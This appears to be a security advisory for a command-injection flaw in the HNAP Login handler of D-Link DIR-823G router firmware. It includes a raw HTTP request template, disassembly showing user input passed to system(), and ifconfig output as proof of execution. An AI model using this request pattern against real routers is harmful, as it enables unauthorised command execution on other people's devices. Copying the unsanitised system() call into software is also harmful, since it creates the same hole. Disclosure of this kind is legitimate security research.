

DIR-823G

Version

DIR823GA1_FW102B05

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DIR-823G
DIR-823G AC1200M 双频千兆无线路由器

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类型	日期	
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decription

An issue was discovered on D-Link DIR-823G devices with firmware V1.0.2B05.
There is a command injection in HNAPl (exploitable with Authentication)
via shell metacharacters in the Username field to Login.

others

found by wx@teamserious360.
please send email to teamserious360@gmail.com if you have any question.

Command injection in HNAPl Login

bypass the check of the "Username" by modifying in HTTP Message

D-Link | DIR-823G

请输入管理员密码



登录

payload

```
POST /HNAPI/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAPI/Login"
HNAP_AUTH: B7D411FD8F17465449ECD84387880A9B 1562830126
X-Requested-With: XMLHttpRequest
Content-Length: 472
Connection: close
Referer: http://192.168.0.1/Login.html
Cookie: uid=GiANGCXijb; PrivateKey=BBB7A06ACE6565A4A3AFFEEE8F0473B0

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login
xmlns="http://purenetworks.com/HNAPI/"><Action>request</Action><Username>Admin</Username>
</Login></soap:Body></soap:Envelope>
```

Vulnerability description

This occurs in /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body. A attacker can execute any command remotely when they control this input. The detail is as below:

```
la    $v0, aEchoSVarHnaplo # "echo '%s' >/var/hnaplog"
addiu $v1, $fp, 0x1448+var_1390
move  $a0, $v1
li    $a1, 0x1387
move  $a2, $v0
lw    $a3, 0x1448+arg_18($fp)
jal   snprintf
nop
addiu $v0, $fp, 0x1448+var_1390
move  $a0, $v0
jal   system
nop
```

result

```
DIR-823G 192.168.0.1/hack.txt
192.168.0.1/hack.txt
br0      Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1
        inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:3361 errors:0 dropped:0 overruns:0 frame:0
        TX packets:3345 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:213207 (208.2 KiB)  TX bytes:1475764 (1.4 MiB)

br1      Link encap:Ethernet  HWaddr 4E:42:74:AB:DE:A1
        inet addr:192.168.100.1  Bcast:192.168.100.255  Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:0 (0.0 B)  TX bytes:468 (468.0 B)

eth0     Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:3361 errors:0 dropped:0 overruns:0 frame:0
        TX packets:3351 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:260261 (254.1 KiB)  TX bytes:1476232 (1.4 MiB)
        Interrupt:10 Base address:0x1020

eth1     Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C9
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:0 (0.0 B)  TX bytes:10498 (10.2 KiB)
        Interrupt:10 Base address:0x1040
```